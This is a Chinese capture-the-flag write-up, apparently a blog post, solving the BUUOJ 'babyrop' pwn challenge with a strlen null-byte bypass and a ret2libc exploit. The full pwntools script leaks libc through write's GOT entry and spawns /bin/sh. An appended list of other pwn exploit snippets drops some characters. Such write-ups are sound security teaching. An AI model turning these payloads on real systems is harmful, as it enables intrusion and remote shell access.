Buuoj Pwn

babyrop WP

一道比较简单的ret2libc

考察点为strlen函数遇到\x00返回

但是有一个坑

IDA逆向拿到伪代码

main函数

 

逻辑是程序开始运行时读入一个随机数

然后传给并调用sub_804871F函数

sub_804871F函数

 

a1为main函数传入的随机数(buff)

格式化后将a1给了s

之后从终端读入数据给buf

然后将数组buf的某个元素变为0(这是一个坑)

之后获取buf的长度(strlen函数)

这里是第一个利用点:strlen函数遇到\x00则返回

然后根据strlen函数拿到的长度将buf与s比较

不同则程序退出

相同则将buf数组的第八个元素的值变为整数并返回

利用:可以将\x00作为第一个字节传入 使strlen返回长度为0 让后面的比较函数比较0个字节 即可绕过随机数

回到main函数

将返回值赋给v2

然后将v2作为参数传给sub_80487D0函数

sub_80487D0函数

可以看到

只要我们控制了a1的值

就能实现溢出

传入/xff即可

所以整体思路

读入\x00绕过随机数 同时传入\xff实现溢出 然后泄露write函数的got表地址 之后计算libc基地址

避坑:

 

 

正常情况下 我们会这样构造payload

'b\x00'+b'\xff'*7

利用红色框和黑色框中的代码

来实现绕过随机数并实现溢出

但是由于蓝色框的代码

如果我们这样传入8个字节

导致v5=8

使buf[7]=0

即buf的第八个元素被替换成了0

无法实现溢出

因此我们可以用senline()加入回车符达到v5=9或者是多传几个\xff

具体wp如下:

from pwn import *
#context.log_level = 'debug' 
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",29053)
elf=ELF("./pwn")
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x8048825
#gdb.attach(sh,"b 0x08048825")
payload=b'\x00'+b'\xff'*7
sh.sendline(payload)#sendline()用来避坑 当然也可以传入更多\xff来避坑 道理一样
sh.recvuntil("Correct\n")
#32位传参
#write(1,write_got,4)
​
payload2=b'a'*0xe7+b'b'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload2)
write=u32(sh.recv(4))
success(hex(write))
​
libc=ELF("./libc-2.23.so")
libc_base=write-libc.symbols["write"]
shell=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b'/bin/sh').__next__()
sh.sendline(payload)
sh.recvuntil("Correct\n")
​
payload3=b'a'*0xe7+b'b'*0x4+p32(shell)+p32(0000)+p32(binsh)#0000是system函数的retAddress
sh.sendline(payload3)
​
sh.interactive()

拿到shell

 

以下是一些pwn基础目的相关内容: - **目一**:该加载完成后直接f5反编译可得一串代码。做pwn的目的通常是获取flag,关键在于找到黑掉对方电脑的方法。在ctf pwn中,出人会设计漏洞,利用这些漏洞可查看服务器文件内容。本文件本身是一个后门函数,其作用是提升用户权限,执行`system('/bin/sh')`代码能让权限提升,进而查看其他文件获取flag。该真实考点是nc,在终端输入`nc node4.buuoj.cn 29499`可连接服务器,之后`cat flag`就能获得flag [^1]。 - **目二**:攻防世界XCTF - Pwn入门11中的签到,啥也不用干,直接可以获得shell然后拿到flag。解代码如下: ```python from pwn import * r = remote("111.198.29.45", 59457) r.interactive() r.close() ``` [^2] - **目三**:编写攻击程序的目,代码如下: ```python from pwn import * p = remote("node5.buuoj.cn", 28053) payload = b'a'*(0xf + 8) + p64(0x401186) p.send(payload) p.interactive() ``` [^3] - **目四**:已知buf真实大小为16个字节,溢出到返回地址需要20个字节垃圾数据,构造payload解。代码如下: ```python from pwn import * p = process('./pwn_01') # p = remote('pwn.node.game.sycsec.com', 30345) # gdb.attach(p) elf = ELF('./pwn_01') context(os="linux", arch="amd64", log_level='debug') backdoor = 0x80484b6 payload = b'a'*20 + p32(backdoor) p.recv() p.sendline(payload) p.interactive() ``` [^4] - **目五**:夏令营第二周pwn的level0,解代码如下: ```python s_addr = 0x0000000000400596 p = remote("pwn2.jarvisoj.com", 9881) p.recvline() p.sendline("A"*0x80 + 'A'*8 + p64(s_addr)) p.interactive() ``` [^5]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值